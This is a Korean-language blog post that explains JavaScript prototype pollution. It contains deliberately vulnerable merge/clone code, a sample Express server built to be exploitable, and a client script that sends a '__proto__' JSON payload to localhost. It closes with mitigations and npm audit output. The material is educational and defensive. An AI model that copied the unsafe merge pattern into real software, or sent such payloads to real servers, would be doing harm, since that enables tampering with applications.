Prototype-Pollution

00_8_3·2021년 2월 18일
0

prototype-pollutions이란

2018년 NorthSec의 Olivier Arteau라는 사람이 발표한 논문에서 발견했습니다.

공격자가 JS언어 고유의 프로토타입 체인 동작 원리를 이용해 웹 서버를 공격하는 방법을 prototype-pollutions이라고 합니다.

lodash를 시작으로 많은 모듈이 프로토타입 오염 취약점이 있다는 내용입니다.

현재는 대부분 모듈이 패치되었습니다.

proto

__proto__는 ES6에서 추가되었습니다.

MDN - prototype

프로토타입 오염

기본적으로 객체 리터럴__proto__Object.prototype과 같다는 것을 이용해 다른 객체 속성에 영향을 주는 방식입니다.

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

위 예시에서 obj1의 프로토타입 객체를 조작(수정) 함으로 써 아무 상관이 없던 obj2의 프로토타입의 속성 값이(obj2.polluted)이 undefined가 아닌 1로 출력 되었습니다.

논문에서는 객체 프로토타입 오염이 일어날 수 있는 세 가지 패턴으로
속성 설정 객체 병합 객체 복사를 소개 합니다.

속성 설정

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

객체 병합

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

객체 복사

function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

위와 비슷한 기능을 제공하는 유저 모듈에서 프로토타입 오염 취약점이 발견, 수정되었습니다. 수정된 부분을 살펴보면 key에 __proto__가 있을 경우 건너 뛰도록 돼있습니다.

실제 공격

논문에서는 실제 CMS 서버에 비밀번호 재설정에 필요한 JSON을 조작해 공격하는 방법을 소개합니다.

다음은 JSON을 받아 어떠한 처리를 하는 간단한 웹 API를 이용해 프로토타입 오며 공격에 의해 응답이 조작되는 샘플입니다.

서버 코드

외부에서 전달받은 JSON을 그대로 복사 합니다.

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    // 이 부분에서 key가 __proto__ 일 때에 건너뛰어야 한다.
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

function clone(obj) {
  return merge({}, obj);
}

const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
  // 여기에서 악의적인 JSON을 그대로 복사함으로써 객체의 프로토타입 오염이 일어난다
  const obj = clone(req.body);
  const r = {};
  // 프로토타입 오염에 의해 r.status가 변조된다.
  const status = r.status ? r.status: 'NG';
  res.send(status)
});
app.listen(1234);

클라이언트

__proto__속성을 갖는 JSON을 서버에 전달해 공격합니다.

const http = require('http');
const client = http.request({
  host: 'localhost',
  port: 1234,
  method: 'POST'
}, (res) => {
  res.on('data', (chunk) => {
    console.log(chunk.toString());
  });
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);

공격 결과

전달한 JSON에 의해 서버의 객체 프로토타입이 오염되어 응답의 값이 NG가 아닌 polluted로 변경됩니다.

$ node client.js
polluted

대책

이 공격을 방지하는 대책으로는 3가지 방법이 있습니다.

  • Object.freeze : Object.prototype이나 Objectfreeze하여 변경을 불가능하게 하는 방법. 부작용으로 정상적인 모듈임에도 이 조치로 동작하지 않을 수 도 있습니다.
  • JSON schema : avj 모듈 등을 사용해 JSON을 검증
  • Map : key/value를 저장하는 객체를 사용하지 않고 Map을 사용. ES5 이전 환경에서는 불가

마침

해당 공격은 취약점이 알려진 사용자 모듈 대부분 고쳐진 상태입니다.
그래도 궁금하시다면 npm audit으로 확인 해볼 수 있습니다.

$ npm audit

                       === npm audit security report ===

# Run  npm install lodash@4.17.11  to resolve 1 vulnerability

  Low             Prototype Pollution

  Package         lodash

  Dependency of   lodash

  Path            lodash

  More info       https://nodesecurity.io/advisories/577



found 1 low severity vulnerability in 1 scanned package
  run `npm audit fix` to fix 1 of them.

0개의 댓글